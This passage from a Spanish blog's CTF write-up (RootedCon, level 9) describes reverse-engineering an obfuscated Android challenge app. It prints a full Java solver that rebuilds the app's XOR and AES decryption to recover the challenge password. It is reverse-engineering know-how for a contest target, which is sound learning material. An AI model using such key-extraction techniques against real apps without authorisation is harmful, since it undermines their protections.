<p><span style="font-family: DejaVu Sans,sans-serif;">Yo no soy muy adepto a Java así que, en primer lugar, traté de quitar todas las referencias a Android y compilar el programa en el PC, tal cual estaba. No hubo forma.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Luego probé a recompilar tocando lo mínimo, volver a empaquetar y subir el emulador. Tampoco hubo suerte.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Otra opción era modificar los ficheros </span><span style="font-family: DejaVu Sans,sans-serif;"><em>SMALI</em></span><span style="font-family: DejaVu Sans,sans-serif;">. Imposible, porque eran demasiados cambios los que teníamos que hacer y el código está muy ofuscado.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Lo siguiente que se me ocurrió fue recompilar la aplicación usando <em>Eclipse</em>. Esto funcionó y estuve un rato jugando con el emulador, pero tampoco logré resolver nada (supongo que por mi inexperiencia en Java).</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Así que no quedó otra que reconstruir las funciones y generar un único fichero, para poderlo usar desde el PC. En realidad sólo terminaremos usando 4 funciones:</span></p>
<ul>
<li><span style="font-family: DejaVu Sans,sans-serif;">hexStringToByteArray()</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;">readRes()</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;">x()</span></li>
<li><span style="font-family: DejaVu Sans,sans-serif;">decrypt()</span></li>
</ul>
<p><span style="font-family: DejaVu Sans,sans-serif;">La cosa no fue tan dura como pintaba, aunque sí que dieron guerra algunas cosas:</span></p>
<p><a href="http://blog.pepelux.org/wp-content/uploads/reto9_19.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-665" title="reto9_19" src="http://blog.pepelux.org/wp-content/uploads/reto9_19.jpg" alt="" width="600" height="408" /></a></p>
<p><!-- p { margin-bottom: 0.21cm; }a:link {  } --><span style="font-family: DejaVu Sans,sans-serif;">En esta función vemos </span><span style="font-family: DejaVu Sans,sans-serif;"><em>context.getString(2130968578)</em></span><span style="font-family: DejaVu Sans,sans-serif;"> y resulta que es una función de Android, por lo que había que averiguar qué hace exactamente.</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Buscando en Google llegué a esta página:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://developer.android.com/reference/android/content/Context.html">http://developer.android.com/reference/android/content/Context.html</a> que dice: </span></p>
<p><em><span style="font-family: DejaVu Sans,sans-serif;"><strong>getString(int resId)</strong></span><span style="font-family: DejaVu Sans,sans-serif;"> </span></em></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><em>Return a localized string from the application&#8217;s package&#8217;s default string table. </em></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Buscando dónde coge ese valor llegué hasta </span><span style="font-family: DejaVu Sans,sans-serif;"><em>R.java</em></span><span style="font-family: DejaVu Sans,sans-serif;">, en donde aparece:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_20.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-666" title="reto9_20" src="http://blog.pepelux.org/wp-content/uploads/reto9_20.jpg" alt="" width="547" height="140" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Así que pensé que era ese valor: </span><span style="font-family: DejaVu Sans,sans-serif;"><strong>2130968578</strong></span><span style="font-family: DejaVu Sans,sans-serif;">. Nada más lejos de la realidad. Tras perder bastante tiempo, resultó que </span><span style="font-family: DejaVu Sans,sans-serif;"><em>xxx</em></span><span style="font-family: DejaVu Sans,sans-serif;"> toma su valor en el fichero </span><span style="font-family: DejaVu Sans,sans-serif;"><em><strong>strings.xml</strong></em></span><span style="font-family: DejaVu Sans,sans-serif;">, que podemos encontrar dentro de </span><span style="font-family: DejaVu Sans,sans-serif;"><em>/res/values/</em></span><span style="font-family: DejaVu Sans,sans-serif;">:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_21.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-667" title="reto9_21" src="http://blog.pepelux.org/wp-content/uploads/reto9_21.jpg" alt="" width="600" height="129" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Otra función a retocar era </span><span style="font-family: DejaVu Sans,sans-serif;"><em>x()</em></span><span style="font-family: DejaVu Sans,sans-serif;">, que quedó así:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_22.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-668" title="reto9_22" src="http://blog.pepelux.org/wp-content/uploads/reto9_22.jpg" alt="" width="600" height="383" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Aquí lo que me dio guerra fue ese </span><span style="font-family: DejaVu Sans,sans-serif;"><em>str1 = c</em></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Yo pensé que copiaba en el String el valor del Char, es decir:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><em>str1 = String.valueOf(c)</em></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Esto provocaba que la función siempre devolviera un byte[1]. </span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras mucho pelear, resultó faltarme un puñetero más (+), es decir:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><em>str1 += String.valueOf(c)</em></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Lo que debe hacer es concatenar los caracteres que va sacando y no quedarse con el último, que es lo que me estaba ocurriendo a mi</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">Tras ejecutar el programa obtenemos la ansiada contraseña, en decimal:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"><a href="http://blog.pepelux.org/wp-content/uploads/reto9_23.jpg#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed"><img class="alignnone size-full wp-image-669" title="reto9_23" src="http://blog.pepelux.org/wp-content/uploads/reto9_23.jpg" alt="" width="600" height="378" /></a></span></p>
<p><!-- p { margin-bottom: 0.21cm; } --><span style="font-family: DejaVu Sans,sans-serif;">Que en ASCII resulta ser: </span><span style="font-family: DejaVu Sans,sans-serif;"><strong>IwantToWinTheCTF</strong></span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;">El código completo del Java que me dio la solución es este:</span></p>
<p><span style="font-family: DejaVu Sans,sans-serif;"></p>
<pre class="brush: java; title: ; notranslate">
import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.util.Arrays;

public class reto9 {
	public static void main(String[] args) {
		scan();
}

	public static void scan()  {
		byte[] arrayOfByte1 = new byte[14];
    	arrayOfByte1[0] = 105;
    	arrayOfByte1[1] = 108;
    	arrayOfByte1[2] = 111;
    	arrayOfByte1[3] = 118;
    	arrayOfByte1[4] = 101;
    	arrayOfByte1[5] = 114;
    	arrayOfByte1[6] = 111;
    	arrayOfByte1[7] = 111;
    	arrayOfByte1[8] = 116;
    	arrayOfByte1[9] = 101;
    	arrayOfByte1[10] = 100;
    	arrayOfByte1[11] = 99;
    	arrayOfByte1[12] = 111;
    	arrayOfByte1[13] = 110;
    	Object localObject = &quot;&quot;;
	 	byte[] arrayOfByte11 = hexStringToByteArray(&quot;c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266&quot;);

		int cont = 0;
      byte[] arrayOfByte6 = readRes();
      byte[] arrayOfByte7 = arrayOfByte1;
      String str2 = x(arrayOfByte6, arrayOfByte7);

      localObject = str2;
      byte[] arrayOfByte77 = str2.getBytes();

		while (cont&lt;100) {
    		try  {
          	byte[] arrayOfByte9 = ((String)localObject).getBytes();
//          byte[] arrayOfByte10 = encrypt(arrayOfByte8, arrayOfByte9);
          	byte[] arrayOfByte10 = decrypt(arrayOfByte11, arrayOfByte9);

   			int i = 0;

				while (i &lt; arrayOfByte10.length) {
					System.out.print(arrayOfByte10[i]+&quot; &quot;);
					i += 1;
				}

				System.out.println();
				return;
			}
      	catch (Exception localException) {
				System.out.println(localException.getMessage());
      	}

      	String str3 = String.valueOf(localObject);
      	str2 = str3 + &quot;0&quot;;
      	localObject = str2;
      	cont += 1;
		}
	}

	public static byte[] readRes() {
//    	String str1 = this.context.getString(2130968578);
    	String str1 = &quot;1B03000200160C001A170B00041D48&quot;;
    	byte[] arrayOfByte = new byte[str1.length() / 2];
    	int i = 0;

    	while (true) {
      	int j = arrayOfByte.length;

      	if (i &gt;= j) {
        		String str2 = new String(arrayOfByte);
        		return arrayOfByte;
      	}

      	int k = i * 2;
      	int m = i * 2 + 2;
      	int n = (byte)Integer.parseInt(str1.substring(k, m), 16);
      	arrayOfByte[i] = (byte)n;
      	i += 1;
    	}
  	}

	public static String x(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) {
   	String str1 = &quot;&quot;;
    	int i = 0;

    	while (true) {
      	int j = paramArrayOfByte1.length;

      	if (i &gt;= j)
        		return str1;

      	String str2 = String.valueOf(str1);
      	StringBuilder localStringBuilder = new StringBuilder(str2);
      	int k = paramArrayOfByte1[i];
      	int m = paramArrayOfByte2.length;
      	int n = i % m;
      	int i1 = paramArrayOfByte2[n];
      	char c = (char)(byte)(k ^ i1);
			StringBuffer sb = new StringBuffer(40);
//      	str1 = c;
      	str1 += String.valueOf(c);
      	i += 1;
    	}
  	}

  	public static byte[] encrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
   	throws NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, NoSuchAlgorithmException {
   	Cipher localCipher = Cipher.getInstance(&quot;AES&quot;);
    	SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte2, &quot;AES&quot;);
    	localCipher.init(1, localSecretKeySpec);
    	return localCipher.doFinal(paramArrayOfByte1);
  	}
	public static byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
   	throws NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, NoSuchAlgorithmException {
    	Cipher localCipher = Cipher.getInstance(&quot;AES&quot;);
    	SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte2, &quot;AES&quot;);
    	localCipher.init(2, localSecretKeySpec);
    	return localCipher.doFinal(paramArrayOfByte1);
  	}

  	public static byte[] hexStringToByteArray(String paramString) {
	   int i = paramString.length();
    	byte[] arrayOfByte = new byte[i / 2];
    	int j = 0;

    	while (true) {
      	if (j &gt;= i)
        		return arrayOfByte;

      	int k = j / 2;
      	int m = Character.digit(paramString.charAt(j), 16) &lt;&lt; 4;
      	int n = j + 1;
      	int i1 = Character.digit(paramString.charAt(n), 16);
      	int i2 = (byte)(m + i1);
      	arrayOfByte[k] = (byte)i2;
      	j += 2;
    	}
       }
}
</pre>
<p>&nbsp;</p>
<p></span></p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.pepelux.org%2F2011%2F04%2F29%2Frootedcon-ctf-writeup-nivel-9%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_linkedin" style="width:px;">
					<script type="IN/Share" data-counter="right" data-url="http://blog.pepelux.org/2011/04/29/rootedcon-ctf-writeup-nivel-9/"></script>
				</div><div class="really_simple_share_buzz" style="width:px;">
					<a title="Post to Google Buzz" class="google-buzz-button" href="http://www.google.com/buzz/post" data-button-style="small-count" 
						data-url="http://blog.pepelux.org/2011/04/29/rootedcon-ctf-writeup-nivel-9/"></a>
				</div><div class="really_simple_share_digg" style="width:px;">
					<script type="text/javascript" src="http://widgets.digg.com/buttons.js"></script>
					<a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://blog.pepelux.org/2011/04/29/rootedcon-ctf-writeup-nivel-9/&amp;title=RootedCon CTF writeup nivel 9"></a>	
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="RootedCon CTF writeup nivel 9 (vía @pepeluxx)" data-url="http://blog.pepelux.org/2011/04/29/rootedcon-ctf-writeup-nivel-9/" 
						data-via="" ></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.pepelux.org/2011/04/29/rootedcon-ctf-writeup-nivel-9/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

